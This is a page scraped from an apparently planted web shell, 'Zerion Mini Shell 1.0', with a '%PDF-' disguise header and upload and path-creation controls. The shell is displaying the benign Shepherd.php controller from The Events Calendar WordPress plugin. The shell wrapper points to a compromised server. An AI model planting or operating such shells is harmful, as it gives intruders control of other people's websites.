%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /dom645759/wp-content/plugins/the-events-calendar/common/src/Common/Libraries/
Upload File :
Create Path :
Current File : /dom645759/wp-content/plugins/the-events-calendar/common/src/Common/Libraries/Shepherd.php

<?php
/**
 * The Controller to set up the Shepherd library.
 */

namespace TEC\Common\Libraries;

use TEC\Common\Contracts\Provider\Controller as Controller_Contract;
use TEC\Common\Libraries\Provider as Libraries_Provider;
use TEC\Common\StellarWP\Shepherd\Provider as Shepherd_Provider;
use TEC\Common\StellarWP\DB\Database\Exceptions\DatabaseQueryException;
use TEC\Common\StellarWP\Shepherd\Config;

/**
 * Controller for setting up the Shepherd library.
 *
 * @since 6.9.0
 *
 * @package TEC\Common\Libraries\Shepherd
 */
class Shepherd extends Controller_Contract {
	/**
	 * Register the controller.
	 *
	 * @since 6.9.0
	 * @since 6.14.1 Leaves picking the logger to Shepherd.
	 */
	protected function do_register(): void {
		$hook_prefix = tribe( Libraries_Provider::class )->get_hook_prefix();
		Config::set_container( $this->container );
		Config::set_hook_prefix( $hook_prefix );

		add_action( "shepherd_{$hook_prefix}_tables_error", [ $this, 'handle_tables_error' ] );

		$this->container->register( Shepherd_Provider::class );

		/**
		 * Shepherd is only being used currently with ET's TicketsCommerce, so we disable the cleanup task in-general here.
		 *
		 * TicketsCommerce will remove this filter enabling it.
		 *
		 * This also serves as a mitigation tactic for customers that encountered issues with lots of instances of
		 * clean up tasks in their database. Having the cleanup disabled for some of them will resolve that issue for them
		 * even when we are not aware of what was the cause.
		 */
		add_action(
			'wp_loaded',
			function () {
				add_filter( 'shepherd_tec_schedule_cleanup_task_every', '__return_zero' );
			},
			10
		);
	}

	/**
	 * Unregister the controller.
	 *
	 * @since 6.9.0
	 *
	 * @return void
	 */
	public function unregister(): void {
		$hook_prefix = tribe( Libraries_Provider::class )->get_hook_prefix();

		remove_action( "shepherd_{$hook_prefix}_tables_error", [ $this, 'handle_tables_error' ] );
	}

	/**
	 * Handle tables error.
	 *
	 * @since 6.10.0
	 * @since 6.14.1 Displays the notice without a fatal error, and lists each query error message.
	 *
	 * @param DatabaseQueryException $error The error.
	 *
	 * @return void
	 */
	public function handle_tables_error( DatabaseQueryException $error ): void {
		$this->container->get( Tables_Error_Notice::class )->show(
			'tec_common_shepherd_tables_error',
			__( 'Shepherd tables could not be created/updated. This is a critical issue since important functionality might be affected. Reach out to support if you need help.', 'tribe-common' ),
			$error
		);
	}
}

Zerion Mini Shell 1.0